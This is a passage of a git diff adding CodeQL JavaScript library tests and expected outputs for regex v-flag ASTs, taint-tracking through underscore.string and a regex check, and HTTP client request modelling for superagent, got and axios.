+| tst.js:3:1:3:24 | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v | tst.js:3:2:3:22 | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] | semmle.order | 0 |
+| tst.js:3:1:3:25 | [ExprStmt] /[[abc] ... de]]/v; | tst.js:3:1:3:24 | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v | semmle.label | 1 |
+| tst.js:3:1:3:25 | [ExprStmt] /[[abc] ... de]]/v; | tst.js:3:1:3:24 | [RegExpLiteral] /[[abc]--[cbd]--[bde]]/v | semmle.order | 1 |
+| tst.js:3:2:3:22 | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] | tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | semmle.label | 0 |
+| tst.js:3:2:3:22 | [RegExpCharacterClass] [[abc]--[cbd]--[bde]] | tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | semmle.order | 0 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | semmle.label | 0 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | semmle.order | 0 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | semmle.label | 1 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | semmle.order | 1 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | semmle.label | 2 |
+| tst.js:3:2:3:22 | [RegExpSubtraction] [[abc]--[cbd]--[bde]] | tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | semmle.order | 2 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:4:3:4 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:4:3:4 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:5:3:5 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:5:3:5 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:6:3:6 | [RegExpNormalConstant] c | semmle.label | 2 |
+| tst.js:3:3:3:7 | [RegExpCharacterClass] [abc] | tst.js:3:6:3:6 | [RegExpNormalConstant] c | semmle.order | 2 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.label | 0 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.order | 0 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:12:3:12 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:12:3:12 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:13:3:13 | [RegExpNormalConstant] d | semmle.label | 2 |
+| tst.js:3:10:3:14 | [RegExpCharacterClass] [cbd] | tst.js:3:13:3:13 | [RegExpNormalConstant] d | semmle.order | 2 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:18:3:18 | [RegExpNormalConstant] b | semmle.label | 0 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:18:3:18 | [RegExpNormalConstant] b | semmle.order | 0 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:19:3:19 | [RegExpNormalConstant] d | semmle.label | 1 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:19:3:19 | [RegExpNormalConstant] d | semmle.order | 1 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:20:3:20 | [RegExpNormalConstant] e | semmle.label | 2 |
+| tst.js:3:17:3:21 | [RegExpCharacterClass] [bde] | tst.js:3:20:3:20 | [RegExpNormalConstant] e | semmle.order | 2 |
+graphProperties
+| semmle.graphKind | tree |
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.ql b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.ql
new file mode 100644
index 000000000000..8ceaf83964a3
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/printAst.ql
@@ -0,0 +1 @@
+import semmle.javascript.PrintAst
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/tst.js b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/tst.js
new file mode 100644
index 000000000000..918375fb911c
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Subtraction/tst.js
@@ -0,0 +1,3 @@
+/[\p{Script_Extensions=Greek}--\p{Letter}]/v;
+/[[abc]--[cbd]]/v;
+/[[abc]--[cbd]--[bde]]/v;
diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected
index d8ba7545b0d2..4a0575eb73e1 100644
--- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected
+++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected
@@ -238,6 +238,7 @@ flow
 | promise.js:18:22:18:29 | source() | promise.js:24:10:24:10 | e |
 | promise.js:33:21:33:28 | source() | promise.js:38:10:38:10 | e |
 | promise.js:43:20:43:27 | source() | promise.js:43:8:43:28 | Promise ... urce()) |
+| regexp-sanitiser.js:2:19:2:26 | source() | regexp-sanitiser.js:4:14:4:18 | taint |
 | rxjs.js:3:1:3:8 | source() | rxjs.js:10:14:10:17 | data |
 | rxjs.js:13:1:13:8 | source() | rxjs.js:17:23:17:23 | x |
 | rxjs.js:13:1:13:8 | source() | rxjs.js:18:23:18:23 | x |
diff --git a/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected b/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected
index 42595adc131b..6335d6dbd49a 100644
--- a/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected
+++ b/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected
@@ -161,6 +161,7 @@ flow
 | partialCalls.js:4:17:4:24 | source() | partialCalls.js:30:14:30:20 | x.value |
 | partialCalls.js:4:17:4:24 | source() | partialCalls.js:41:10:41:18 | id(taint) |
 | partialCalls.js:4:17:4:24 | source() | partialCalls.js:51:14:51:14 | x |
+| regexp-sanitiser.js:2:19:2:26 | source() | regexp-sanitiser.js:4:14:4:18 | taint |
 | sanitizer-function.js:12:17:12:24 | source() | sanitizer-function.js:14:10:14:14 | taint |
 | sanitizer-function.js:12:17:12:24 | source() | sanitizer-function.js:17:14:17:18 | taint |
 | sanitizer-function.js:12:17:12:24 | source() | sanitizer-function.js:21:14:21:18 | taint |
diff --git a/javascript/ql/test/library-tests/TaintTracking/regexp-sanitiser.js b/javascript/ql/test/library-tests/TaintTracking/regexp-sanitiser.js
new file mode 100644
index 000000000000..67481589bb62
--- /dev/null
+++ b/javascript/ql/test/library-tests/TaintTracking/regexp-sanitiser.js
@@ -0,0 +1,6 @@
+function foo() {
+    const taint = source();
+    if (/^asd[\s\S]*$/.test(taint)) {
+        sink(taint); // NOT OK
+    }
+}
diff --git a/javascript/ql/test/library-tests/TripleDot/underscore.string.js b/javascript/ql/test/library-tests/TripleDot/underscore.string.js
new file mode 100644
index 000000000000..07f186343ce2
--- /dev/null
+++ b/javascript/ql/test/library-tests/TripleDot/underscore.string.js
@@ -0,0 +1,130 @@
+var s = require("underscore.string");
+
+function strToStr() {
+  sink(s.slugify(source("s1"))); // $ hasTaintFlow=s1
+  sink(s.capitalize(source("s2"))); // $ hasTaintFlow=s2
+  sink(s.decapitalize(source("s3"))); // $ hasTaintFlow=s3
+  sink(s.clean(source("s4"))); // $ hasTaintFlow=s4
+  sink(s.cleanDiacritics(source("s5"))); // $ hasTaintFlow=s5
+  sink(s.swapCase(source("s6"))); // $ hasTaintFlow=s6
+  sink(s.escapeHTML(source("s7"))); // $ hasTaintFlow=s7
+  sink(s.unescapeHTML(source("s8"))); // $ hasTaintFlow=s8
+  sink(s.wrap(source("s9"), {})); // $ hasTaintFlow=s9
+  sink(s.dedent(source("s10"), "  ")); // $ hasTaintFlow=s10
+  sink(s.reverse(source("s11"))); // $ hasTaintFlow=s11
+  sink(s.pred(source("s12"))); // $ hasTaintFlow=s12
+  sink(s.succ(source("s13"))); // $ hasTaintFlow=s13
+  sink(s.titleize(source("s14"))); // $ hasTaintFlow=s14
+  sink(s.camelize(source("s15"))); // $ hasTaintFlow=s15
+  sink(s.classify(source("s16"))); // $ hasTaintFlow=s16
+  sink(s.underscored(source("s17"))); // $ hasTaintFlow=s17
+  sink(s.dasherize(source("s18"))); // $ hasTaintFlow=s18
+  sink(s.humanize(source("s19"))); // $ hasTaintFlow=s19
+  sink(s.trim(source("s20"),"charsToStrim")); // $ hasTaintFlow=s20
+  sink(s.ltrim(source("s21"),"charsToStrim")); // $ hasTaintFlow=s21
+  sink(s.rtrim(source("s22"),"charsToStrim")); // $ hasTaintFlow=s22
+  sink(s.truncate(source("s23"), 10)); // $ hasTaintFlow=s23
+  sink(s.sprintf(source("s24"), 1.17)); // $ hasTaintFlow=s24
+  sink(s.strRight(source("s25"), "pattern")); // $ hasTaintFlow=s25
+  sink(s.strRightBack(source("s26"), "pattern")); // $ hasTaintFlow=s26
+  sink(s.strLeft(source("s27"), "pattern")); // $ hasTaintFlow=s27
+  sink(s.strLeftBack(source("s28"), "pattern")); // $ hasTaintFlow=s28
+  sink(s.stripTags(source("s29"))); // $ hasTaintFlow=s29
+  sink(s.unquote(source("s30"), "quote")); // $ hasTaintFlow=s30
+  sink(s.map(source("s31"), (x) => {return x;})); // $ hasTaintFlow=s31
+  sink(s.strip(source("s32"),"charsToStrim")); // $ hasTaintFlow=s32
+  sink(s.lstrip(source("s33"),"charsToStrim")); // $ hasTaintFlow=s33
+  sink(s.rstrip(source("s34"),"charsToStrim")); // $ hasTaintFlow=s34
+  sink(s.camelcase(source("s35"))); // $ hasTaintFlow=s35
+}
+
+function strToArray() {
+  sink(s.chop(source("s1"), 3)); // $ MISSING: hasTaintFlow=s1
+  sink(s.chars(source("s2"))[0]); // $ hasTaintFlow=s2
+  sink(s.words(source("s3"))[0]); // $ hasTaintFlow=s3
+  sink(s.lines(source("s7"))[0]); // $ hasTaintFlow=s7
+  sink(s.chop(source("s1"), 3).length);
+}
+
+function arrayToStr() {
+  sink(s.toSentence([source("s1")])); // $ hasTaintFlow=s1
+  sink(s.toSentenceSerial([source("s2")])); // $ hasTaintFlow=s2
+}
+
+function multiSource() {
+  sink(s.insert("str", 4, source("s1"))); // $ hasTaintFlow=s1
+  sink(s.insert(source("s2"), 4, "")); // $ hasTaintFlow=s2
+
+  sink(s.replaceAll("astr", "a", source("s3"))); // $ hasTaintFlow=s3
+  sink(s.replaceAll(source("s4"), "a", "")); // $ hasTaintFlow=s4
+
+  sink(s.join(",", source("s5"), "str")); // $ hasTaintFlow=s5
+  sink(s.join(",", "str", source("s6"))); // $ hasTaintFlow=s6
+
+  sink(s.splice(source("s7"), 1, 2, "str")); // $ hasTaintFlow=s7
+  sink(s.splice("str", 1, 2, source("s8"))); // $ hasTaintFlow=s8
+
+  sink(s.prune(source("s9"), 1, "additional")); // $ hasTaintFlow=s9
+  sink(s.prune("base", 1, source("s10"))); // $ hasTaintFlow=s10
+
+  sink(s.pad(source("s11"), 10, "charsToPad", "right")); // $ hasTaintFlow=s11
+  sink(s.pad("base", 10, source("s12"), "right")); // $ hasTaintFlow=s12
+
+  sink(s.lpad(source("s13"), 10, "charsToPad")); // $ hasTaintFlow=s13
+  sink(s.lpad("base", 10, source("s14"))); // $ hasTaintFlow=s14
+
+  sink(s.rpad(source("s15"), 10, "charsToPad")); // $ hasTaintFlow=s15
+  sink(s.rpad("base", 10, source("s16"))); // $ hasTaintFlow=s16
+
+  sink(s.repeat(source("s17"), 3, "seperator")); // $ hasTaintFlow=s17
+  sink(s.repeat("base", 3, source("s18"))); // $ hasTaintFlow=s18
+
+  sink(s.surround(source("s19"), "wrap")); // $ hasTaintFlow=s19
+  sink(s.surround("base", source("s20"))); // $ hasTaintFlow=s20
+
+  sink(s.quote(source("s21"), "quote")); // $ hasTaintFlow=s21
+  sink(s.quote("base", source("s22"))); // $ hasTaintFlow=s22
+
+  sink(s.q(source("s23"), "quote")); // $ hasTaintFlow=s23
+  sink(s.q("base", source("s24"))); // $ hasTaintFlow=s24
+
+  sink(s.rjust(source("s25"), 10, "charsToPad")); // $ hasTaintFlow=s25
+  sink(s.rjust("base", 10, source("s26"))); // $ hasTaintFlow=s26
+
+  sink(s.ljust(source("s27"), 10, "charsToPad")); // $ hasTaintFlow=s27
+  sink(s.ljust("base", 10, source("s28"))); // $ hasTaintFlow=s28
+}
+
+function chaining() {
+  sink(s(source("s1"))
+      .slugify().capitalize().decapitalize().clean().cleanDiacritics()    
+      .swapCase().escapeHTML().unescapeHTML().wrap().dedent()
+      .reverse().pred().succ().titleize().camelize().classify()
+      .underscored().dasherize().humanize().trim().ltrim().rtrim()
+      .truncate().sprintf().strRight().strRightBack()
+      .strLeft().strLeftBack().stripTags().unquote().value()); // $ hasTaintFlow=s1
+
+  sink(s(source("s2"))
+      .insert(4, source("s3")).replaceAll("a", source("s4"))
+      .join(",", source("s5")).splice(1, 2, source("s6"))
+      .prune(1, source("s7")).pad(10, source("s8"), "right")
+      .lpad(10, source("s9")).rpad(10, source("s10"))
+      .repeat(3, source("s11")).surround(source("s12"))
+      .quote(source("s13")).value()); // $ hasTaintFlow=s2 hasTaintFlow=s3 hasTaintFlow=s4 hasTaintFlow=s5 hasTaintFlow=s6 hasTaintFlow=s7 hasTaintFlow=s8 hasTaintFlow=s9 hasTaintFlow=s10 hasTaintFlow=s11 hasTaintFlow=s12 hasTaintFlow=s13
+
+  sink(s(source("s14")).toUpperCase().toLowerCase().replace().slice(1).substring(1).substr(1).concat(source("s15")).split()); // $ hasTaintFlow=s14 hasTaintFlow=s15
+
+  sink(s(source("s16"))
+  .strip().lstrip().rstrip().camelcase()
+  .q(source("s17")).ljust(10, source("s18"))
+  .rjust(10, source("s19"))); // $ hasTaintFlow=s16 hasTaintFlow=s17 hasTaintFlow=s18 hasTaintFlow=s19
+
+  sink(s(source("s20")).tap(function(value) { 
+    return value + source("s21"); 
+  }).value()); // $ hasTaintFlow=s20 hasTaintFlow=s21
+}
+
+function mapTests(){
+  sink(s.map(source("s1"), (x) => {return x + source("s2");})); // $ hasTaintFlow=s1 hasTaintFlow=s2
+  s.map(source("s1"), (x) => { sink(x); return x;}); // $ hasTaintFlow=s1
+}
diff --git a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected
index bacfb98cdc63..8ac3eea2be5f 100644
--- a/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected
+++ b/javascript/ql/test/library-tests/TypeAnnotations/JSDoc/JSDocTypeAnnotations.expected
@@ -5,6 +5,8 @@ test_isNumber
 test_QualifiedName
 | VarType | tst.js:9:13:9:19 | VarType |
 | boolean | tst.js:5:14:5:20 | boolean |
+| foo | tst.js:4:12:4:14 | foo |
+| foo.bar | tst.js:4:12:4:18 | foo.bar |
 | foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz |
 | number | tst.js:3:12:3:17 | number |
 | string | tst.js:2:12:2:17 | string |
diff --git a/javascript/ql/test/library-tests/TypeScript/Types/printAst.expected b/javascript/ql/test/library-tests/TypeScript/Types/printAst.expected
index df304b899bb0..04d6e6247ff0 100644
--- a/javascript/ql/test/library-tests/TypeScript/Types/printAst.expected
+++ b/javascript/ql/test/library-tests/TypeScript/Types/printAst.expected
@@ -2,9 +2,6 @@ nodes
 | badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | semmle.label | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} |
 | badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | semmle.order | 1 |
 | badTypes.ts:5:11:5:11 | [Identifier] A | semmle.label | [Identifier] A |
-| badTypes.ts:5:21:5:24 | [ThisVarTypeAccess] this | semmle.label | [ThisVarTypeAccess] this |
-| badTypes.ts:5:21:5:26 | [TypeAccess] this.B | semmle.label | [TypeAccess] this.B |
-| badTypes.ts:5:26:5:26 | [Identifier] B | semmle.label | [Identifier] B |
 | badTypes.ts:6:1:6:24 | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; | semmle.label | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; |
 | badTypes.ts:6:1:6:24 | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; | semmle.order | 2 |
 | badTypes.ts:6:6:6:6 | [Identifier] T | semmle.label | [Identifier] T |
@@ -2171,12 +2168,6 @@ nodes
 edges
 | badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | badTypes.ts:5:11:5:11 | [Identifier] A | semmle.label | 1 |
 | badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | badTypes.ts:5:11:5:11 | [Identifier] A | semmle.order | 1 |
-| badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | badTypes.ts:5:21:5:26 | [TypeAccess] this.B | semmle.label | 2 |
-| badTypes.ts:5:1:5:29 | [InterfaceDeclaration,TypeDefinition] interfa ... is.B {} | badTypes.ts:5:21:5:26 | [TypeAccess] this.B | semmle.order | 2 |
-| badTypes.ts:5:21:5:26 | [TypeAccess] this.B | badTypes.ts:5:21:5:24 | [ThisVarTypeAccess] this | semmle.label | 1 |
-| badTypes.ts:5:21:5:26 | [TypeAccess] this.B | badTypes.ts:5:21:5:24 | [ThisVarTypeAccess] this | semmle.order | 1 |
-| badTypes.ts:5:21:5:26 | [TypeAccess] this.B | badTypes.ts:5:26:5:26 | [Identifier] B | semmle.label | 2 |
-| badTypes.ts:5:21:5:26 | [TypeAccess] this.B | badTypes.ts:5:26:5:26 | [Identifier] B | semmle.order | 2 |
 | badTypes.ts:6:1:6:24 | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; | badTypes.ts:6:6:6:6 | [Identifier] T | semmle.label | 1 |
 | badTypes.ts:6:1:6:24 | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; | badTypes.ts:6:6:6:6 | [Identifier] T | semmle.order | 1 |
 | badTypes.ts:6:1:6:24 | [TypeAliasDeclaration,TypeDefinition] type T ... ar.bar; | badTypes.ts:6:10:6:23 | [TypeofTypeExpr] typeof var.bar | semmle.label | 2 |
diff --git a/javascript/ql/test/library-tests/TypeScript/Types/tests.expected b/javascript/ql/test/library-tests/TypeScript/Types/tests.expected
index 150ce1867248..b9e11cfa92f3 100644
--- a/javascript/ql/test/library-tests/TypeScript/Types/tests.expected
+++ b/javascript/ql/test/library-tests/TypeScript/Types/tests.expected
@@ -864,8 +864,6 @@ getTypeDefinitionType
 | type_definitions.ts:21:1:21:20 | type Alias<T> = T[]; | Alias<T> |
 getTypeExprType
 | badTypes.ts:5:11:5:11 | A | A |
-| badTypes.ts:5:21:5:26 | this.B | any |
-| badTypes.ts:5:26:5:26 | B | any |
 | badTypes.ts:6:6:6:6 | T | any |
 | badTypes.ts:6:10:6:23 | typeof var.bar | any |
 | badTypes.ts:6:17:6:19 | var | any |
diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected
index 62a3b33c63fd..f787a7e60603 100644
--- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected
+++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected
@@ -10,6 +10,9 @@ test_ClientRequest
 | puppeteer.ts:6:11:6:42 | page.go ... e.com') |
 | puppeteer.ts:8:5:8:61 | page.ad ... css" }) |
 | puppeteer.ts:18:30:18:50 | page.go ... estUrl) |
+| superagent.js:4:5:4:26 | superag ... ', url) |
+| superagent.js:5:5:5:23 | superagent.del(url) |
+| superagent.js:6:5:6:32 | superag ... st(url) |
 | tst.js:11:5:11:16 | request(url) |
 | tst.js:13:5:13:20 | request.get(url) |
 | tst.js:15:5:15:23 | request.delete(url) |
@@ -91,9 +94,26 @@ test_ClientRequest
 | tst.js:286:20:286:55 | new Web ... :8080') |
 | tst.js:296:5:299:6 | axios({ ... \\n    }) |
 | tst.js:312:12:312:36 | fetchPo ... o/bar') |
+| tst.js:319:5:319:26 | superag ... ', url) |
+| tst.js:320:5:320:23 | superagent.del(url) |
+| tst.js:321:5:321:32 | superag ... st(url) |
+| tst.js:328:5:328:38 | got(und ... ptions) |
+| tst.js:329:5:329:49 | got(und ... {url})) |
+| tst.js:332:5:332:46 | got.ext ... ).get() |
+| tst.js:334:5:334:25 | got.pag ... rl, {}) |
+| tst.js:337:5:337:20 | jsonClient.get() |
+| tst.js:340:5:340:21 | jsonClient2.get() |
+| tst.js:344:5:344:37 | axios.p ... config) |
+| tst.js:345:5:345:28 | axios.p ... , data) |
+| tst.js:346:5:346:36 | axios.p ... config) |
+| tst.js:347:5:347:30 | axios.p ... , data) |
+| tst.js:348:5:348:38 | axios.p ... config) |
+| tst.js:349:5:349:30 | axios.g ...  url }) |
+| tst.js:352:5:352:66 | axiosIn ... text"}) |
 test_getADataNode
 | axiosTest.js:12:5:17:6 | axios({ ... \\n    }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } |
 | axiosTest.js:12:5:17:6 | axios({ ... \\n    }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} |
+| superagent.js:6:5:6:32 | superag ... st(url) | superagent.js:6:39:6:42 | data |
 | tst.js:53:5:53:23 | axios({data: data}) | tst.js:53:18:53:21 | data |
 | tst.js:57:5:57:39 | axios.p ... data2}) | tst.js:57:19:57:23 | data1 |
 | tst.js:57:5:57:39 | axios.p ... data2}) | tst.js:57:33:57:37 | data2 |
@@ -132,6 +152,12 @@ test_getADataNode
 | tst.js:249:1:251:2 | form.su ... e();\\n}) | tst.js:247:24:247:68 | request ... o.png') |
 | tst.js:257:1:262:2 | form.su ... rs()\\n}) | tst.js:255:25:255:35 | 'new_value' |
 | tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' |
+| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data |
+| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data |
+| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data |
+| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data |
+| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:26:347:29 | data |
+| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:26:348:29 | data |
 test_getHost
 | tst.js:87:5:87:39 | http.ge ...  host}) | tst.js:87:34:87:37 | host |
 | tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host |
@@ -154,6 +180,9 @@ test_getUrl
 | puppeteer.ts:6:11:6:42 | page.go ... e.com') | puppeteer.ts:6:21:6:41 | 'https: ... le.com' |
 | puppeteer.ts:8:5:8:61 | page.ad ... css" }) | puppeteer.ts:8:29:8:58 | "http:/ ... le.css" |
 | puppeteer.ts:18:30:18:50 | page.go ... estUrl) | puppeteer.ts:18:40:18:49 | requestUrl |
+| superagent.js:4:5:4:26 | superag ... ', url) | superagent.js:4:23:4:25 | url |
+| superagent.js:5:5:5:23 | superagent.del(url) | superagent.js:5:20:5:22 | url |
+| superagent.js:6:5:6:32 | superag ... st(url) | superagent.js:6:29:6:31 | url |
 | tst.js:11:5:11:16 | request(url) | tst.js:11:13:11:15 | url |
 | tst.js:13:5:13:20 | request.get(url) | tst.js:13:17:13:19 | url |
 | tst.js:15:5:15:23 | request.delete(url) | tst.js:15:20:15:22 | url |
@@ -240,9 +269,31 @@ test_getUrl
 | tst.js:296:5:299:6 | axios({ ... \\n    }) | tst.js:296:11:299:5 | {\\n      ... ,\\n    } |
 | tst.js:296:5:299:6 | axios({ ... \\n    }) | tst.js:298:14:298:44 | "http:/ ... -axios" |
 | tst.js:312:12:312:36 | fetchPo ... o/bar') | tst.js:312:26:312:35 | '/foo/bar' |
+| tst.js:319:5:319:26 | superag ... ', url) | tst.js:319:23:319:25 | url |
+| tst.js:320:5:320:23 | superagent.del(url) | tst.js:320:20:320:22 | url |
+| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:29:321:31 | url |
+| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:327:34:327:36 | url |
+| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:328:9:328:17 | undefined |
+| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:9:329:17 | undefined |
+| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:44:329:46 | url |
+| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:18:334:20 | url |
+| tst.js:337:5:337:20 | jsonClient.get() | tst.js:336:41:336:43 | url |
+| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url |
+| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url |
+| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url |
+| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url |
+| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url |
+| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url |
+| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url |
+| tst.js:349:5:349:30 | axios.g ...  url }) | tst.js:349:18:349:29 | { url: url } |
+| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:19:352:65 | {method ... "text"} |
+| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:40:352:42 | url |
 test_getAResponseDataNode
 | axiosTest.js:4:5:7:6 | axios({ ... \\n    }) | axiosTest.js:4:5:7:6 | axios({ ... \\n    }) | json | true |
 | axiosTest.js:12:5:17:6 | axios({ ... \\n    }) | axiosTest.js:12:5:17:6 | axios({ ... \\n    }) | json | true |
+| superagent.js:4:5:4:26 | superag ... ', url) | superagent.js:4:5:4:26 | superag ... ', url) | stream | true |
+| superagent.js:5:5:5:23 | superagent.del(url) | superagent.js:5:5:5:23 | superagent.del(url) | stream | true |
+| superagent.js:6:5:6:32 | superag ... st(url) | superagent.js:6:5:6:32 | superag ... st(url) | stream | true |
 | tst.js:19:5:19:23 | requestPromise(url) | tst.js:19:5:19:23 | requestPromise(url) | text | true |
 | tst.js:21:5:21:23 | superagent.get(url) | tst.js:21:5:21:23 | superagent.get(url) | stream | true |
 | tst.js:25:5:25:14 | axios(url) | tst.js:25:5:25:14 | axios(url) |  | true |
@@ -314,3 +365,19 @@ test_getAResponseDataNode
 | tst.js:296:5:299:6 | axios({ ... \\n    }) | tst.js:303:26:303:37 | err.response | json | false |
 | tst.js:296:5:299:6 | axios({ ... \\n    }) | tst.js:304:27:304:38 | err.response | json | false |
 | tst.js:312:12:312:36 | fetchPo ... o/bar') | tst.js:312:12:312:36 | fetchPo ... o/bar') | fetch.response | true |
+| tst.js:319:5:319:26 | superag ... ', url) | tst.js:319:5:319:26 | superag ... ', url) | stream | true |
+| tst.js:320:5:320:23 | superagent.del(url) | tst.js:320:5:320:23 | superagent.del(url) | stream | true |
+| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:5:321:32 | superag ... st(url) | stream | true |
+| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:328:5:328:38 | got(und ... ptions) | text | true |
+| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:5:329:49 | got(und ... {url})) | text | true |
+| tst.js:332:5:332:46 | got.ext ... ).get() | tst.js:332:5:332:46 | got.ext ... ).get() | text | true |
+| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:5:334:25 | got.pag ... rl, {}) | text | true |
+| tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true |
+| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true |
+| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true |
+| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true |
+| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true |
+| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true |
+| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true |
